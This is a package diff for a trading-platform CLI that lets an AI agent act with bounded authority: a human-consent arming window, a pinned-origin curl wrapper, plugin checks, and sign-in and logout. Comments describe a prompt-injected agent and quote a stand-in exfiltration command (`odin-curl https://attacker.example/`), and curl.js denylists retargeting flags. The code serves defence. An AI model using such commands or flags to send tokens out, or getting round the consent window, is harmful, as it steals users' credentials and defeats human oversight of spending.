@symbols-cli/cli 0.0.1

package/dist/commands/arm.js

@@ -0,0 +1,154 @@
+// Copyright (c) 2025 Symbols LLC. All rights reserved.
+//
+// This source code is proprietary and confidential. Unauthorized copying,
+// distribution, modification, or use of this file, via any medium, is strictly prohibited.
+// `symbols arm` — open a bounded window in which the agent may spend money.
+//
+// # What this command is actually for
+//
+// gVisor's real contribution to the container's safety was never isolation
+// alone — it was **ATTENDANCE**. The container re-mints a write token only while
+// its WebSocket is open, i.e. while a tile is on screen and a human is at the
+// machine. On a laptop `claude` sits in a detached tmux for days, so a
+// timer-driven refresher would be a permanently-armed order credential:
+// strictly worse than what it replaces.
+//
+// So this command **cannot arm anything by itself**. It opens a browser, and a
+// human consents there while signed in with Clerk. An injected agent can spawn a
+// browser; it cannot pass Clerk silently, and it cannot click consent without a
+// tab visibly opening on the user's screen.
+//
+// ⚠ **THE CLI HAS NO PATH TO ARMING ITSELF, AND THAT IS THE POINT.** The server
+// accepts `POST /api/cli/arm` from a Clerk session only — a device token is
+// refused there. If you are reading this while adding a "just arm it from the
+// CLI for testing" flag: that flag makes the window decorative.
+//
+// # Live orders are NOT here, and cannot be added
+//
+// `--live` does not exist and `ArmCapability` has no live variant. The CLI
+// PROPOSES a live order and a human confirms it in the app. That is not caution
+// for its own sake: a deployed `automated` live regime runs `symbols-engine
+// live` for ~23.5 hours through an order-authority path with **no window concept
+// at all**, so one armed click would have bought a day of autonomous order
+// authority that nothing bounded.
+import { request } from "../auth/client.js";
+import { apiOrigin } from "../auth/hosts.js";
+import { load } from "../auth/credentials.js";
+import { openBrowser } from "../util/platform.js";
+import { eprint, print } from "../util/log.js";
+/** What a window may grant. Mirrors the server's closed enum, deliberately. */
+const CAPABILITIES = ["backtest", "paper_order", "paper_deploy"];
+function usage() {
+    eprint(`usage: symbols arm [--backtest] [--paper-orders] [--paper-deploy] [--minutes N]\n` +
+        `       symbols arm --status\n` +
+        `       symbols arm --off\n\n` +
+        `Opens your browser so you can consent. The CLI cannot arm itself.\n\n` +
+        `Capabilities:\n` +
+        `  --backtest       run backtests (simulated; spends nothing)\n` +
+        `  --paper-orders   place PAPER orders\n` +
+        `  --paper-deploy   deploy a PAPER regime\n\n` +
+        `Live orders are never armed. The CLI proposes them; you confirm in the app.\n`);
+    return 2;
+}
+/**
+ * Exported so a test can EXERCISE it. A source grep for the comparison
+ * (`/n\s*>\s*60/`) proves only that an expression exists — `if (n > 60) {}`
+ * satisfies it — so the boundary is asserted by calling this.
+ */
+export function parseMinutes(argv) {
+    const i = argv.indexOf("--minutes");
+    if (i === -1)
+        return 15; // a short default: the window is "a human just said yes"
+    const raw = argv[i + 1];
+    const n = Number(raw);
+    if (!Number.isInteger(n) || n <= 0 || n > 60)
+        return null;
+    return n;
+}
+export async function run(argv) {
+    if (argv.includes("-h") || argv.includes("--help"))
+        return usage();
+    const cred = await load();
+    if (!cred) {
+        eprint("Not signed in. Run `symbols login` first.\n");
+        return 1;
+    }
+    if (argv.includes("--status"))
+        return showStatus();
+    if (argv.includes("--off") || argv.includes("--disarm"))
+        return disarm();
+    const wanted = [];
+    if (argv.includes("--backtest"))
+        wanted.push("backtest");
+    if (argv.includes("--paper-orders"))
+        wanted.push("paper_order");
+    if (argv.includes("--paper-deploy"))
+        wanted.push("paper_deploy");
+    if (wanted.length === 0) {
+        eprint("Choose at least one capability.\n\n");
+        return usage();
+    }
+    const minutes = parseMinutes(argv);
+    if (minutes === null) {
+        eprint("--minutes must be a whole number between 1 and 60.\n");
+        return 1;
+    }
+    // The consent page is a WEB page on the allowlisted origin; the CLI only
+    // hands it the parameters. It reads them, shows the user exactly what is
+    // being asked for, and calls `POST /api/cli/arm` with the user's Clerk
+    // session — which is why this command never holds the power it requests.
+    const url = new URL(`${apiOrigin()}/cli-arm`);
+    url.searchParams.set("device_id", cred.deviceId);
+    url.searchParams.set("capabilities", wanted.join(","));
+    url.searchParams.set("minutes", String(minutes));
+    eprint(`Opening your browser to confirm.\n\n` +
+        `  Device        ${cred.deviceId}\n` +
+        `  Capabilities  ${wanted.join(", ")}\n` +
+        `  Duration      ${minutes} minutes\n\n` +
+        `  ${url.toString()}\n\n` +
+        `Nothing is armed until you consent in the browser.\n` +
+        `Live orders are never armed — the CLI proposes them and you confirm in the app.\n\n`);
+    openBrowser(url.toString());
+    // Deliberately NOT polling until armed. A command that waits invites being
+    // left running unattended, which is the shape this whole mechanism exists to
+    // avoid. Consent, then check.
+    eprint("Once you have consented, run `symbols arm --status`.\n");
+    return 0;
+}
+async function showStatus() {
+    const { body } = await request("/api/cli/arm/status");
+    if (!body.armed) {
+        print("Not armed.\n\nRun `symbols arm --backtest` (or --paper-orders / --paper-deploy).\n");
+        return 0;
+    }
+    const until = body.armed_until ? new Date(body.armed_until) : null;
+    const left = until ? Math.max(0, Math.round((until.getTime() - Date.now()) / 60000)) : 0;
+    print(`Armed for ${left} more minute(s).\n` +
+        `  Capabilities      ${body.capabilities ?? "—"}\n` +
+        `  Orders used       ${body.orders_used}\n` +
+        `  Orders remaining  ${body.orders_remaining}\n` +
+        `  Live orders       ${body.live_orders}\n\n` +
+        `Close it now with \`symbols arm --off\`.\n`);
+    return 0;
+}
+async function disarm() {
+    // ⚠ Disarming is Clerk-authenticated on the server — a device token cannot
+    // close its own window either, because "close" and "open" are the same
+    // authority. So this opens the browser too.
+    //
+    // That is a genuine ergonomic cost and it is worth it: the alternative is a
+    // device credential that can manipulate its own money window, which is the
+    // thing the window exists to prevent.
+    const cred = await load();
+    if (!cred) {
+        eprint("Not signed in.\n");
+        return 1;
+    }
+    const url = new URL(`${apiOrigin()}/cli-arm`);
+    url.searchParams.set("device_id", cred.deviceId);
+    url.searchParams.set("disarm", "1");
+    eprint(`Opening your browser to close the window.\n\n  ${url.toString()}\n\n` +
+        `You can also disarm from the app, which is faster if this laptop is not to hand.\n`);
+    openBrowser(url.toString());
+    return 0;
+}

package/dist/commands/curl.js

@@ -0,0 +1,101 @@
+// Copyright (c) 2025 Symbols LLC. All rights reserved.
+//
+// This source code is proprietary and confidential. Unauthorized copying,
+// distribution, modification, or use of this file, via any medium, is strictly prohibited.
+// `symbols curl <path> [flags]` — the Symbols API, by path only.
+//
+// Port of `odin-curl` (docker/odin-runtime/skel/odin.fish:39-95). That wrapper
+// exists because it once passed `$argv` straight to curl, which made
+// `odin-curl https://attacker.example/` a one-line exfiltration of the bearer
+// from a shell that runs an LLM reading attacker-influenceable text.
+//
+// ⚠ WHAT THIS IS AND IS NOT, on a laptop:
+// In the container this was containment. Here it is not — the agent has plain
+// `curl`, `node` and `python`, and can read the credential file directly. Keep
+// the wrapper because it stops the ACCIDENTAL case and costs nothing; do not
+// claim it as a security boundary. The real bound is that this credential
+// carries no money scope (`cli_scopes_carry_no_write_scope`).
+import { apiOrigin } from "../auth/hosts.js";
+import { eprint, print } from "../util/log.js";
+/**
+ * Flags that would retarget the request away from the pinned origin, or make
+ * curl read a config file that could. A denylist is the wrong shape in general —
+ * but here the allowed surface is "everything curl does EXCEPT change where the
+ * bearer goes", so enumerating the retargeting flags is the accurate model.
+ *
+ * Kept verbatim from odin.fish:74-83 so the two cannot drift.
+ */
+const RETARGET_FLAGS = new Set([
+    "--url",
+    "-K",
+    "--config",
+    "--proxy",
+    "-x",
+    "--resolve",
+    "--connect-to",
+    "--next",
+    "-:",
+    "--location-trusted",
+]);
+export class RetargetFlagError extends Error {
+    constructor(flag) {
+        super(`refusing '${flag}': it can send the Authorization header to a different host. ` +
+            `symbols curl talks to the Symbols API only.`);
+        this.name = "RetargetFlagError";
+    }
+}
+export class NotAPathError extends Error {
+    constructor(arg) {
+        super(`refusing '${arg}': pass an API PATH like /api/quote/SPY, not a URL. ` +
+            `symbols curl talks to the Symbols API only.`);
+        this.name = "NotAPathError";
+    }
+}
+/**
+ * Validate the argv a caller passed and return the absolute URL to fetch.
+ *
+ * Exported for the test, because this — not the network call — is the part with
+ * a security property worth pinning.
+ */
+export function resolveTarget(argv, origin) {
+    const [first, ...rest] = argv;
+    if (!first)
+        throw new NotAPathError("");
+    for (const arg of argv) {
+        // Exact match only. `--proxyfoo` is not `--proxy`, and treating it as one
+        // would reject legitimate flags; `--proxy=x` IS a retarget, so split on `=`.
+        const bare = arg.split("=")[0] ?? arg;
+        if (RETARGET_FLAGS.has(bare))
+            throw new RetargetFlagError(bare);
+    }
+    if (first.startsWith("/"))
+        return { url: `${origin}${first}`, rest };
+    // An absolute URL is accepted ONLY if it is exactly the pinned origin — the
+    // same concession odin.fish makes, so `odin-curl $SYMBOLS_API_URL/x` works.
+    if (first === origin || first.startsWith(`${origin}/`))
+        return { url: first, rest };
+    throw new NotAPathError(first);
+}
+export async function run(argv) {
+    const origin = apiOrigin();
+    const { url, rest } = resolveTarget(argv, origin);
+    // TODO(P0): read the access token from the credential store and send it.
+    // Deliberately not stubbed with a fake header — a request that silently goes
+    // out unauthenticated is worse than one that refuses.
+    const token = process.env["SYMBOLS_ACCESS_TOKEN"];
+    if (!token) {
+        eprint("symbols: not signed in. Run `symbols login` first.\n");
+        return 1;
+    }
+    const method = methodFrom(rest) ?? "GET";
+    const res = await fetch(url, { method, headers: { authorization: `Bearer ${token}` } });
+    const body = await res.text();
+    print(body);
+    if (!body.endsWith("\n"))
+        print("\n");
+    return res.ok ? 0 : 1;
+}
+function methodFrom(rest) {
+    const i = rest.findIndex((a) => a === "-X" || a === "--request");
+    return i >= 0 ? rest[i + 1] : undefined;
+}

package/dist/commands/doctor.js

@@ -0,0 +1,217 @@
+// Copyright (c) 2025 Symbols LLC. All rights reserved.
+//
+// This source code is proprietary and confidential. Unauthorized copying,
+// distribution, modification, or use of this file, via any medium, is strictly prohibited.
+// `symbols doctor` — machine-readable verification that the skills a user has
+// are the skills we shipped.
+//
+// ## Three rules, each of them a scar
+//
+// 1. **MACHINE-READABLE, NEVER A SUBSTRING GREP.** Every assertion parses
+//    `claude plugin list --json` — a documented, stable shape. An earlier draft
+//    of the plan asserted against `claude plugin details` output; `details` has
+//    NO `--json` (verified: its `--help` lists no such flag), so that check would
+//    have been a grep over prose that passes on a rendering change and fails on a
+//    cosmetic one.
+//
+// 2. **NEVER `|| true`.** A diagnostic that cannot fail is decoration. This
+//    exits non-zero on ANY problem, and the process exit code is the contract.
+//
+// 3. **VERSION IS THE HEADLINE CHECK.** The incident this whole project opens
+//    with is the repo at odin 0.7.7 and every laptop at 0.7.4, because
+//    `plugin install` exits 0 without upgrading. `publish_plugin_bundle.sh`
+//    stops it being SHIPPED; this stops it being INSTALLED and unnoticed.
+//
+// ## The renamed-directory failure
+//
+// `installed_plugins.json` stores `projectPath` as a literal string. `mv
+// ~/Symbols/Foo ~/Symbols/Bar` therefore detaches a project-scope install
+// silently: `claude` reports the plugin installed, the cache is intact, the
+// version is right, and no skill loads in the new directory. Nothing surfaces
+// it. Doctor compares `projectPath` to the real path and repairs it with `--fix`.
+import { promises as fs } from "node:fs";
+import { realpath } from "node:fs/promises";
+import { resolve } from "node:path";
+import { bundleSequenceStore, readBundleSequence, } from "../auth/credentials.js";
+import { readInstalledManifest, computeBundleStamp } from "../skills/bundle.js";
+import { MARKETPLACE, countInstalledSkills, installPlugins, listPlugins, ClaudeCliMissingError, } from "../skills/install.js";
+import { projectSettingsPath } from "../skills/settings-merge.js";
+import { BEGIN, END, projectClaudeMdPath } from "../skills/claude-md.js";
+import { bundleRoot } from "../util/platform.js";
+import { print } from "../util/log.js";
+function ok(name, detail) {
+    return { level: "ok", name, detail };
+}
+function fail(name, detail) {
+    return { level: "fail", name, detail };
+}
+function warn(name, detail) {
+    return { level: "warn", name, detail };
+}
+/**
+ * Run every check and return them. Exported so a test can assert the FINDINGS,
+ * not the rendering — a doctor whose test greps its own output is the same
+ * mistake the rules above are about.
+ */
+export async function diagnose(opts) {
+    const checks = [];
+    // ── the runtime prerequisite the plan refuses to pretend about ─────────────
+    const major = Number.parseInt(process.versions.node.split(".")[0] ?? "0", 10);
+    checks.push(major >= 20
+        ? ok("node", `v${process.versions.node}`)
+        : fail("node", `v${process.versions.node} — Symbols CLI needs Node >= 20. Install it and re-run.`));
+    // ── the local bundle ───────────────────────────────────────────────────────
+    const manifest = await readInstalledManifest();
+    if (!manifest) {
+        checks.push(fail("bundle", "no skills bundle is installed — run `symbols update` to fetch it"));
+        return checks;
+    }
+    checks.push(ok("bundle", `sequence ${manifest.sequence} · stamp ${manifest.stamp.slice(0, 12)} · ${manifest.issued_at}`));
+    // The unpacked tree must still hash to what the SIGNED manifest said. This is
+    // what catches a partially-deleted or hand-edited local bundle — the state a
+    // stale-but-parsing SKILL.md lives in.
+    const root = bundleRoot();
+    const localStamp = await computeBundleStamp(root).catch(() => null);
+    checks.push(localStamp === manifest.stamp
+        ? ok("bundle-integrity", `${root} matches the signed stamp`)
+        : fail("bundle-integrity", `${root} hashes to ${localStamp ?? "<unreadable>"}, the signed manifest says ${manifest.stamp}. ` +
+            `Re-run \`symbols update\` to re-fetch and re-verify.`));
+    // ── S1's anti-rollback floor ───────────────────────────────────────────────
+    const store = bundleSequenceStore();
+    const floor = await readBundleSequence();
+    checks.push(store === "keychain"
+        ? ok("rollback-floor", `sequence >= ${floor}, in the login keychain`)
+        : warn("rollback-floor", `sequence >= ${floor}, in a FILE (${store}). On this platform the counter is rewindable by ` +
+            `anything running as you; the signature still holds, freshness does not.`));
+    // ── the install, machine-readable ──────────────────────────────────────────
+    let listed;
+    try {
+        listed = await listPlugins(opts.projectDir);
+    }
+    catch (err) {
+        if (err instanceof ClaudeCliMissingError) {
+            checks.push(fail("claude", err.message));
+            return checks;
+        }
+        throw err;
+    }
+    const wantProject = await realpath(resolve(opts.projectDir)).catch(() => resolve(opts.projectDir));
+    let needsReinstall = false;
+    for (const plugin of manifest.plugins) {
+        const id = `${plugin.name}@${MARKETPLACE}`;
+        const entry = listed.find((p) => p.id === id);
+        if (!entry) {
+            checks.push(fail(id, "not installed"));
+            needsReinstall = true;
+            continue;
+        }
+        // (a) THE HEADLINE CHECK.
+        if (entry.version !== plugin.version) {
+            checks.push(fail(`${id}/version`, `installed ${entry.version}, manifest says ${plugin.version}. ` +
+                `\`claude plugin install\` exits 0 without upgrading, so this is the silent-stale state.`));
+            needsReinstall = true;
+        }
+        else {
+            checks.push(ok(`${id}/version`, entry.version));
+        }
+        // (b) scope
+        checks.push(entry.scope === "project"
+            ? ok(`${id}/scope`, "project")
+            : fail(`${id}/scope`, `installed at ${entry.scope} scope. Symbols installs at PROJECT scope so its skills do not ` +
+                `load in every repo you open.`));
+        if (entry.scope !== "project")
+            needsReinstall = true;
+        // (c) THE RENAMED-DIRECTORY CHECK.
+        const got = entry.projectPath
+            ? await realpath(entry.projectPath).catch(() => entry.projectPath)
+            : undefined;
+        if (entry.scope === "project" && got !== wantProject) {
+            checks.push(fail(`${id}/projectPath`, `bound to '${entry.projectPath ?? "<none>"}', but this project is '${wantProject}'. ` +
+                `Renaming or moving a project detaches a project-scope install silently and skills stop loading.`));
+            needsReinstall = true;
+        }
+        else if (entry.scope === "project") {
+            checks.push(ok(`${id}/projectPath`, wantProject));
+        }
+        // (d) enabled
+        checks.push(entry.enabled
+            ? ok(`${id}/enabled`, "true")
+            : warn(`${id}/enabled`, "disabled. Left alone — that is your call, not ours."));
+        // (e) COUNT THE SKILLS ON DISK. A cache can be present, correctly versioned,
+        //     and missing skills; that is the shape the opening incident had.
+        const found = await countInstalledSkills(entry.installPath).catch(() => -1);
+        if (found !== plugin.skills) {
+            checks.push(fail(`${id}/skills`, `${found < 0 ? "no skills/ directory" : `${found} skills`} under ${entry.installPath}, ` +
+                `manifest says ${plugin.skills}`));
+            needsReinstall = true;
+        }
+        else {
+            checks.push(ok(`${id}/skills`, `${found}`));
+        }
+    }
+    // ── the project's own wiring ───────────────────────────────────────────────
+    const settingsPath = projectSettingsPath(opts.projectDir);
+    try {
+        const doc = JSON.parse(await fs.readFile(settingsPath, "utf8"));
+        const missing = manifest.plugins
+            .map((p) => `${p.name}@${MARKETPLACE}`)
+            .filter((id) => doc.enabledPlugins?.[id] === undefined);
+        checks.push(missing.length === 0
+            ? ok("settings", settingsPath)
+            : fail("settings", `${settingsPath} has no enabledPlugins entry for ${missing.join(", ")}`));
+    }
+    catch (err) {
+        checks.push(fail("settings", err.code === "ENOENT"
+            ? `${settingsPath} is missing — run \`symbols up\` in this project`
+            : `${settingsPath} is unreadable: ${err.message}`));
+    }
+    const claudeMd = projectClaudeMdPath(opts.projectDir);
+    try {
+        const text = await fs.readFile(claudeMd, "utf8");
+        const b = text.indexOf(BEGIN);
+        const e = text.indexOf(END);
+        checks.push(b !== -1 && e > b
+            ? ok("CLAUDE.md", "managed markers present and well-formed")
+            : fail("CLAUDE.md", `${claudeMd} has no well-formed symbols markers — run \`symbols up\``));
+    }
+    catch {
+        checks.push(fail("CLAUDE.md", `${claudeMd} is missing — run \`symbols up\``));
+    }
+    // ── repair ─────────────────────────────────────────────────────────────────
+    if (needsReinstall && opts.fix) {
+        try {
+            const results = await installPlugins(opts.projectDir, manifest);
+            checks.push(ok("fix", results.map((r) => `${r.plugin} install=${r.installed} update=${r.updated}`).join(" · ")));
+            // ⚠ NOT re-verified in this process. `claude plugin update` says "restart
+            // required to apply", and a fresh `plugin list` in the same run can report
+            // the pre-update state — a re-check here would print a green line for a
+            // repair that has not taken effect yet. Say so and make them re-run.
+            checks.push(warn("fix", "re-run `symbols doctor` to confirm; `claude plugin update` needs a restart to apply"));
+        }
+        catch (err) {
+            checks.push(fail("fix", err.message));
+        }
+    }
+    else if (needsReinstall) {
+        checks.push(warn("fix", "re-run with `symbols doctor --fix` to repair"));
+    }
+    return checks;
+}
+export async function run(argv) {
+    const fix = argv.includes("--fix");
+    const dirArg = argv.find((a) => !a.startsWith("-"));
+    const projectDir = resolve(dirArg ?? process.cwd());
+    const checks = await diagnose({ projectDir, fix });
+    const width = Math.max(...checks.map((c) => c.name.length));
+    for (const c of checks) {
+        const mark = c.level === "ok" ? "ok  " : c.level === "warn" ? "warn" : "FAIL";
+        print(`${mark}  ${c.name.padEnd(width)}  ${c.detail}\n`);
+    }
+    const failures = checks.filter((c) => c.level === "fail").length;
+    if (failures > 0) {
+        print(`\n${failures} problem${failures === 1 ? "" : "s"}.\n`);
+        return 1;
+    }
+    print("\nall checks passed.\n");
+    return 0;
+}

package/dist/commands/login.js

@@ -0,0 +1,113 @@
+// Copyright (c) 2025 Symbols LLC. All rights reserved.
+//
+// This source code is proprietary and confidential. Unauthorized copying,
+// distribution, modification, or use of this file, via any medium, is strictly prohibited.
+// `symbols login` — browser sign-in, PKCE-bound, loopback redemption.
+//
+// The shape, and why each step is where it is:
+//
+//   1. Bind the loopback port. BEFORE the browser, always — owning the port is
+//      the security boundary (auth/loopback.ts says why at length).
+//   2. Generate a PKCE verifier. It never leaves this process; only its S256
+//      challenge travels through the browser.
+//   3. Open the browser at /desktop-auth?mode=cli. The user authenticates with
+//      Clerk there — the CLI never sees a password, and cannot: it has no field
+//      to type one into, which is the point.
+//   4. The browser redirects to the loopback with a 60-second single-use CODE,
+//      not a credential. A 90-day credential must never sit in a URL that every
+//      browser extension, the history file, and any local proxy can read.
+//   5. Exchange the code + verifier for the device credential, and store it.
+//
+// The credential that comes back is a REFRESH token: opaque, rotating, stored
+// server-side as a hash only, and revocable in a way that survives an API
+// restart. That last property is why this does not reuse the shell token's
+// in-memory revocation set — fine for a one-hour container token, unacceptable
+// for something that lives on a laptop for ninety days.
+import { randomBytes, createHash } from "node:crypto";
+import { openBrowser } from "../util/platform.js";
+import { platform } from "node:os";
+import { startLoopback } from "../auth/loopback.js";
+import { createPkce } from "../auth/pkce.js";
+import { apiOrigin } from "../auth/hosts.js";
+import { requestAnonymous } from "../auth/client.js";
+import { tokenBody } from "../auth/wire.js";
+import { CLI_VERSION } from "../util/version.js";
+import { save, load, deviceLabel, credentialsPath } from "../auth/credentials.js";
+import { eprint } from "../util/log.js";
+export async function run(argv) {
+    const force = argv.includes("--force");
+    const existing = await load();
+    if (existing && !force) {
+        eprint(`Already signed in as ${existing.email ?? existing.userId} on ${existing.origin}.\n` +
+            `Run \`symbols login --force\` to replace this device's credential.\n`);
+        return 0;
+    }
+    const origin = apiOrigin();
+    // Step 1 — the port, before anything else.
+    const loopback = await startLoopback();
+    // Step 2 — the verifier stays here.
+    const pkce = createPkce();
+    const authorize = new URL(`${origin}/desktop-auth`);
+    authorize.searchParams.set("mode", "cli");
+    authorize.searchParams.set("redirect_uri", loopback.redirectUri);
+    authorize.searchParams.set("nonce", loopback.nonce);
+    authorize.searchParams.set("code_challenge", pkce.challenge);
+    authorize.searchParams.set("code_challenge_method", pkce.method);
+    // ⚠ The DEVICE ID IS ASSIGNED BY THE SERVER, in `token`. An earlier draft
+    // generated one here and sent it in the exchange body, where it was silently
+    // ignored — the client would then have stored an id that named no row, and
+    // `symbols logout` would have revoked nothing. The client sends only
+    // descriptive fields; identity comes back from the server.
+    authorize.searchParams.set("device_name", deviceLabel());
+    authorize.searchParams.set("device_platform", platform());
+    authorize.searchParams.set("client_version", CLI_VERSION);
+    eprint(`Opening your browser to sign in…\n\n  ${authorize.toString()}\n\n`);
+    openBrowser(authorize.toString());
+    let code;
+    try {
+        // Step 4 — waits up to five minutes, then rejects.
+        ({ code } = await loopback.received);
+    }
+    catch (err) {
+        loopback.close();
+        eprint(`Sign-in did not complete: ${err.message}\n`);
+        return 1;
+    }
+    finally {
+        loopback.close();
+    }
+    // Step 5 — the code is single-use and 60-second lived; the verifier proves this
+    // is the same process that started the flow.
+    // ⚠ WRITE-AHEAD, from the very first credential. WE generate the refresh
+    // token; the server only ever stores its hash and never hands one back. An
+    // endpoint that returns a credential is an endpoint an attacker can ask for
+    // one, and that is precisely how an earlier `refresh` became a session
+    // takeover. The device id is not known until the response, so the token is
+    // finalised with it below — the pre-write happens on the credential itself.
+    const secret = randomBytes(32).toString("base64url");
+    const { body } = await requestAnonymous("/api/auth/cli/token", {
+        method: "POST",
+        body: tokenBody({
+            code,
+            verifier: pkce.verifier,
+            deviceName: deviceLabel(),
+            devicePlatform: platform(),
+            clientVersion: CLI_VERSION,
+            nextTokenHash: createHash("sha256").update(secret).digest("hex"),
+        }),
+    });
+    const cred = {
+        refreshToken: secret,
+        deviceId: body.device_id,
+        origin,
+        userId: body.user_id,
+        ...(body.email ? { email: body.email } : {}),
+        createdAt: new Date().toISOString(),
+    };
+    const where = await save(cred);
+    eprint(`\nSigned in as ${cred.email ?? cred.userId}.\n` +
+        `Device: ${deviceLabel()}\n` +
+        `Credential stored in ${where === "keychain" ? "the macOS keychain" : `${credentialsPath()} (0600)`}.\n\n` +
+        `Next: \`symbols up\` to create your workspace.\n`);
+    return 0;
+}

package/dist/commands/logout.js

@@ -0,0 +1,78 @@
+// Copyright (c) 2025 Symbols LLC. All rights reserved.
+//
+// This source code is proprietary and confidential. Unauthorized copying,
+// distribution, modification, or use of this file, via any medium, is strictly prohibited.
+// `symbols logout` — revoke this device server-side, then drop the local copy.
+//
+// ⚠ ORDER MATTERS, and it is the opposite of the intuitive one. Revoke on the
+// SERVER FIRST, then clear locally. Clearing first and then failing to reach the
+// server leaves a credential that is still valid for ninety days with nothing
+// left on this machine that knows how to revoke it — the user believes they have
+// logged out and has not.
+//
+// If the server call fails we say so plainly and DO NOT clear, unless `--local`
+// is passed. `--local` exists for the genuine case (lost machine, server
+// unreachable, credential already revoked elsewhere) and is explicit about what
+// it does not do.
+//
+// The honest tail, printed rather than hidden: revocation kills the refresh
+// chain immediately, but an access token already minted stays valid for up to
+// its 15-minute TTL. There is no way around that short of a revocation check on
+// every request, which is a database round trip per call.
+import { load, clear } from "../auth/credentials.js";
+import { requestAnonymous, forgetAccessToken } from "../auth/client.js";
+import { logoutBody } from "../auth/wire.js";
+import { eprint } from "../util/log.js";
+export async function run(argv) {
+    const localOnly = argv.includes("--local");
+    const cred = await load();
+    if (!cred) {
+        eprint("Not signed in — nothing to do.\n");
+        return 0;
+    }
+    if (localOnly) {
+        await clear();
+        forgetAccessToken();
+        eprint("Local credential removed. ⚠ It was NOT revoked server-side — this device can\n" +
+            "still be signed in from a backup of the credential. Revoke it from the app,\n" +
+            "or run `symbols logout` again with the server reachable.\n");
+        return 0;
+    }
+    try {
+        // ⚠ The REFRESH TOKEN, not the device id, and ANONYMOUSLY.
+        //
+        // Two bugs lived in the obvious version, and a staff review caught the
+        // first: the server's `logout` takes `RefreshBody { refresh_token }`, so
+        // posting `{ device_id }` 422'd on EVERY call — `symbols logout` could never
+        // succeed, and the failure path kept the credential, so the user was told
+        // logout failed while their device stayed authorised indefinitely. No ledger
+        // box covered logout, so nothing would have caught it.
+        //
+        // The device id is deliberately not the credential here: it is an
+        // identifier, not a secret, so accepting it would let anyone who learned a
+        // device id sign that laptop out.
+        //
+        // Anonymous because logout authenticates with the refresh token itself —
+        // that is what lets it work without a browser round trip. Going through
+        // `request()` would first mint an access token, which ROTATES the refresh
+        // token, and would fail outright for the case that most needs logout to
+        // work: a device whose refresh chain is already broken.
+        await requestAnonymous("/api/auth/cli/logout", {
+            method: "POST",
+            body: logoutBody(cred),
+        });
+    }
+    catch (err) {
+        eprint(`Could not revoke this device server-side: ${err instanceof Error ? err.message : String(err)}\n` +
+            `The local credential was KEPT, because removing it would leave a valid\n` +
+            `credential with no way to revoke it from here.\n\n` +
+            `Retry when the server is reachable, or run \`symbols logout --local\` if you\n` +
+            `accept that this device stays authorised until you revoke it in the app.\n`);
+        return 1;
+    }
+    await clear();
+    forgetAccessToken();
+    eprint("Signed out. This device is revoked server-side and its credential removed.\n" +
+        "An access token minted in the last 15 minutes remains valid until it expires.\n");
+    return 0;
+}